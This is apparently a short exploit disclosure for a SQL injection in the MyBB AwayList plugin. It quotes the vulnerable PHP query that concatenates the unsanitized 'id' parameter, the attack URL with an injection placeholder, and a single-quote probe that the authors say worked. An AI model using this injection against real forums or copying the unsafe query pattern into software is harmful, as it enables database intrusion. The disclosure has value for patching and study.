MyBB AwayList Plugin – ‘index.php?id’ SQL Injection
# Exploit Title: AwayList MyBB plugin SQLi 0day # Exploit Author: Red_Hat [Team Vect0r] # Software Link: http://mods.mybb.com/view/awaylist # Tested on: Windows & Linux. Vulnerable code : <?php $query = $db->simple_select( // 245 "awaylist", '*', "id = '" . $mybb->input['id'] . "'" // 246 ); // 247 $item = $db->fetch_array($query); // 248 ?> The variable '$mybb->input['id']' remains unsanitized. Usage : http://server/index.php?action=editAwlItem&id=[SQLi] Exploit-DB Not: This is what worked for us: awaylist.php?action=editAwlItem&id=1' Shoutout to Zixem <3 & Team Vect0r :3 |